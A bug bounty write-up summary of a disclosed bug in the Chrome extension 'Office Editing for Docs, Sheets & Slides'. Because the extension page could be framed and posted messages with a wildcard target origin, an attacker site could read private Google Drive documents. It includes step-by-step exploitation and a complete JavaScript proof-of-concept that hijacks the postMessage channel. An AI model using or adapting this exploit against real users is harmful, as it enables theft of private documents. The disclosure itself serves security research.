# Office Editing for Docs Sheets & Slides leak

Chrome extension Office Editing lacked frame-ancestors CSP, letting attacker sites iframe it with a known Drive doc ID and leak private document contents via onmessage.

- Payout: $3,134
- Severity: medium
- Program: Google
- Found by: NDevTK
- Disclosed: 2024-09-19
- Write-up quality: 7/10
- Original: https://ndevtk.github.io/writeups/2024/09/19/drive/
- Library page: https://bugbountylibrary.com/r/blog%3Andevtk-github-io-writeups-2024-09-19-drive
- Tags: area:os domain:browser impact:data-leak kind:bounty platform:blog sev:medium tech:chromium technique:chained technique:js-analysis vuln:info-disclosure vuln:misconfiguration

**Target:** Chrome extension 'Office Editing for Docs, Sheets & Slides' (chrome-extension://gbkeegbaiigmenfmjfclcdgdpimamgkj/views/app.html)
**Root cause:** Extension pages CSP lacked frame-ancestors 'self', so any website could embed the extension's app.html and drive it to load a private Drive document by ID, then intercept the postMessage data.
**Steps:**
1. Upload a pptx/docx to Google Drive; note its doc ID (no sharing needed).
2. On attacker page, create iframe with `chrome-extension://gbkeegbaiigmenfmjfclcdgdpimamgkj/views/app.html?state={"ids":["<docId>"],"action":"open","resourceKeys":{}}`.
3. Wait for iframe to load (contentWindow.length === 2), then set `f.contentWindow[0].location = 'about:blank'`.
4. After ~600ms, set `f.contentWindow[0].onmessage = e => log(e.data)` to capture leaked document data.
5. Repeat every 2s; 3rd-party cookies must be enabled (auto-granted via popup interaction heuristic).
**How found:** Noticed the extension page could be framed (no frame-ancestors) and that its nested iframe used a wildcard postMessage targetOrigin; explored about:blank navigation to bypass the child CSP and time the onmessage hook.
**Exploitation:** Attacker embeds the extension page in an iframe, navigates the nested sandboxed frame to about:blank to hijack the * targetOrigin postMessage channel, and reads the victim's private Drive document contents sent by the extension.
**Escalation:** Chained a frame-src 'self' CSP bypass via an about:blank navigation edge case (w3c/webappsec-csp#662) to defeat the child frame's CSP and still hijack the postMessage.
**Insight:** Extension pages that postMessage document data to nested frames with targetOrigin '*' are hijackable if the page is framable; check extension_pages CSP for frame-ancestors and test about:blank navigation to defeat child frame-src 'self'.

## Proof of concept (copied exactly from the original report)

**Iframe exploit leaking Drive doc via extension**

```
let msofficeDocId = '1DuGHZhNFjJFCtOXVkA91t5o92Y3BRJ1u';

setInterval(() => {
 if (window.f) document.body.removeChild(f);
 f = document.createElement('iframe');
 f.width = 500;
 f.height = 500;
 f.src =
 'chrome-extension://gbkeegbaiigmenfmjfclcdgdpimamgkj/views/app.html?state=%7B"ids":%5B"' +
 msofficeDocId +
 '"%5D,"action":"open","resourceKeys":%7B%7D%7D';

 document.body.appendChild(f);

 let loop = setInterval(() => {
 // Wait for iframes to load
 if (f.contentWindow.length !== 2) return;
 clearInterval(loop);

 setTimeout(() => {
 f.contentWindow[0].location = 'about:blank';
 let loop2 = setInterval(() => {
 try {
 // Monitor for leaks via onmessage
 f.contentWindow[0].onmessage = (e) => {
 console.log('Data leaked :) ' + JSON.stringify(e.data));
 };
 clearInterval(loop2);
 } catch {}
 }, 0);
 // Wait a bit for the sandbox to request document content
 }, 600);
 }, 0);

 // Retry ever 2 seconds
}, 2000);
```

